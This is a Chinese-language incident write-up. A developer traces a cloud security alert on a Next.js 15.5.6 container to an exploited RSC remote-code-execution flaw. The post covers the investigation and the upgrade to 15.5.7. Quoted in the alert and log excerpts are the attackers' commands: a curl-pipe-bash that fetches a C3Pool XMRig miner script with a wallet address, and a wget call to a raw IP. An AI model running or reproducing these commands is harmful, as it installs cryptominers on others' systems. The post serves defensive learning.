事件起因
今天收到了阿里云的一条安全告警,标题是"恶意脚本代码执行"和"蠕虫病毒命令",看到告警内容时我整个人都懵了:
数据来源进程启动触发检测告警原因该命令与蠕虫病毒命令特征高度相似。命令行/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 486xqw7ysXdKw7RkVzT5tdSiDtE6soxUdYaGaGE1GoaCdvBF7rVg5oMXL9pFx3rB1WUCZrJvd6AHMFWipeYt5eFNUx9pmGN进程路径/bin/busybox进程ID420356父进程命令行next-server (v15.5.6)父进程文件路径/usr/local/bin/node父进程ID395015容器名qianxun-website-blue容器ID3f88bbead5ee509f11c65e9b9d6dbbe745de39ffbba8f812151d95227aa8c897镜像IDsha256:80d23bc57fb0b9faf5d9929b26777948bf85673977ea8a161ab40dc78e7b3931镜像名qianxun-website:20251121-b30872f容器hostname3f88bbead5ee容器视角进程路径/proc/395015/root/bin/busybox
我第一反应是:这不可能吧?这明明是我自己部署的 Next.js 项目,怎么会执行挖矿脚本?是不是误报?
初步分析
研究了下命令内容后,我意识到这不是简单的事情:
- C3Pool 是一个门罗币挖矿池
- 命令试图下载并执行挖矿程序
- 后面跟着的是攻击者的钱包地址
但问题是,这个命令是从我的 Next.js 容器内部执行的,说明要么:
- 我的代码存在漏洞被利用了
- 某个依赖包被投毒了
- 容器镜像被污染了
开始排查
1. 检查是否有挖矿进程
首先检查系统中是否真的有挖矿程序在运行:
# 搜索挖矿相关进程 ps aux | grep -E "xmrig|c3pool|miner" # 结果: 无 # 查看容器内的进程 docker exec 3f88bbead5ee ps aux # 结果: 只有 next-server 进程在运行
好消息:没有发现挖矿进程。
2. 检查容器内的可疑文件
# 查找挖矿相关文件 docker exec 3f88bbead5ee find / -name "*xmrig*" -o -name "*c3pool*" # 结果: 无 # 检查定时任务 docker exec 3f88bbead5ee crontab -l # 结果: No crontab # 检查临时目录 docker exec 3f88bbead5ee ls -la /tmp/ /var/tmp/ # 结果: 都是空的
又一个好消息:容器内没有恶意文件残留。
3. 查看容器日志
这是关键的一步:
docker logs --tail 200 3f88bbead5ee 2>&1 | grep -E "curl|wget|bash"
日志输出让我倒吸一口凉气:
/bin/sh: curl: not found /bin/sh: bash: not found ⨯ [Error: Command failed: curl -s -L <https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh> | bash -s 486xqw7... status: 127, signal: null, pid: 47, stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 63 75 72 6c 3a 20 6e 6f 74 20 66 6f 75 6e 64...> ] wget: can't connect to remote host (31.56.27.97): Host is unreachable ⨯ [Error: Command failed: wget <http://31.56.27.97/lula/$(nproc)/$>(uname -n)/$(nproc) status: 1, pid: 50 ]
关键发现:
- 应用确实尝试执行了这些恶意命令
- 但因为容器内没有
curl和bash,命令执行失败(status: 127)
- 还有一个备用攻击载荷试图从可疑 IP 下载恶意文件,也失败了
此时我开始怀疑:我的 Next.js 应用被攻击了,但因为使用了精简的 Alpine 镜像,意外地阻止了攻击成功!
4. 排查代码漏洞
我立即在源代码中搜索:
grep -r "execSync\\|child_process" src/ # 结果: 无匹配
我的代码中根本没有使用
child_process,那这些命令是哪来的?5. 检查依赖包
查看
package.json:{ "dependencies": { "next": "15.5.6", "react": "19.1.0", "react-dom": "19.1.0", "next-intl": "^4.3.12", "lucide-react": "^0.546.0", // ... 其他常规依赖 } }
都是常规的依赖包,没有可疑的包。
6. 关键线索
继续查看日志,发现启动时有大量这样的错误:
⨯ Error: Could not find the module "child_process#execSync" in the React Server Manifest ⨯ TypeError: Failed to parse body as FormData. ⨯ TypeError: Failed to parse body as FormData. ⨯ TypeError: Failed to parse body as FormData.
大量的
Failed to parse body as FormData 错误!这说明有人在疯狂发送特制的 POST 请求试图攻击我的应用。真相大白
结合以上线索,我搜索了 "Next.js 15.5.6 vulnerability",找到了这个:
CVE-2025-66478 - Next.js React Server Components 远程代码执行漏洞
漏洞详情:
- CVSS 评分: 10.0 (最高级别!)
- 影响版本: Next.js 15.x, 16.x (使用 App Router 的应用)
- 根本原因: React Server Components (RSC) 协议存在漏洞,允许攻击者通过特制请求触发服务器端代码执行
- 修复版本: 15.5.7, 15.6.0-canary.58, 16.0.7 等
攻击流程:
- 攻击者扫描互联网,寻找运行 Next.js 15.5.6 的服务器
- 发送特制的请求利用 RSC 协议漏洞
- 触发远程代码执行,尝试下载挖矿脚本
- 在我的环境中,因为容器没有
curl和bash,攻击失败
为什么攻击失败了?
我使用的 Docker 镜像基于 Alpine Linux,采用了 Next.js 官方的精简构建方案:
FROM node:20-alpine AS base # ...构建过程... FROM node:20-alpine AS runner USER nextjs # 非 root 用户运行 # 精简镜像,不包含 curl, wget, bash 等工具
这个无心插柳的安全实践救了我一命!
修复过程
1. 立即升级 Next.js
# 在项目目录 pnpm update next@15.5.7
2. 重新构建镜像
docker build -t qianxun-website:20251205-secure .
3. 停止并替换受影响的容器
docker stop qianxun-website-blue docker rm qianxun-website-blue # 使用新镜像启动 docker run -d --name qianxun-website-blue \\ --network your-network \\ qianxun-website:20251205-secure
4. 进一步加固
在 Dockerfile 中显式移除危险命令(可选):
RUN rm -f /bin/curl /usr/bin/curl \\ /bin/wget /usr/bin/wget \\ /bin/bash /usr/bin/bash
经验教训
1. 最小权限原则真的有用
使用精简的 Alpine 镜像,不安装不必要的工具,这次意外地阻止了攻击。
2. 安全告警不要轻视
虽然第一反应觉得是误报,但深入排查后发现确实存在真实威胁。
3. 供应链安全至关重要
这不是我的代码有问题,而是依赖的框架存在严重漏洞。定期更新依赖是必须的。
4. 容器内进程 ID 是关键线索
日志中的
pid: 47, pid: 50 说明这些命令是在容器内执行的,而不是外部扫描。5. 多层防御
- 使用非 root 用户运行应用
- 精简容器镜像
- 配置云服务商的安全监控
- 及时更新依赖
时间线回顾
- 11月21日: 部署了使用 Next.js 15.5.6 的应用
- 12月3日: Next.js 官方发布 CVE-2025-66478 安全公告
- 12月5日: 收到阿里云安全告警,发现应用被攻击
- 12月5日: 排查问题,升级到 15.5.7,重新部署
幸运的是,从漏洞公开到我收到告警,攻击者虽然成功触发了漏洞,但因为环境限制没有造成实际损害。
检查清单
如果你也在使用 Next.js,请立即检查:
# 1. 检查你的 Next.js 版本 cat package.json | grep '"next"' # 2. 如果是 15.0.0-15.5.6 或 16.0.0-16.0.6,立即升级 npm install next@15.5.7 # 或对应的修复版本 # 3. 检查容器日志是否有类似的攻击痕迹 docker logs your-container | grep -E "curl|wget|Command failed" # 4. 检查是否有可疑进程 ps aux | grep -E "xmrig|miner|c3pool"
参考资料
总结
之前 nextjs 也出过事,也是非常大的安全漏洞,没想到这次又出了…只能说世界真是个草台班子,包括最近 cloudflare 的基础设施也是多次出现问题。
好吧,总的来说:
- 安全无小事,即使是知名框架也可能存在严重漏洞
- 安全是多层的,一个好的安全实践(精简镜像)在关键时刻发挥了作用
- 保持更新是最基本也是最重要的安全措施
希望这次经历能给大家一些启发和警示吧。Stay safe! 🛡️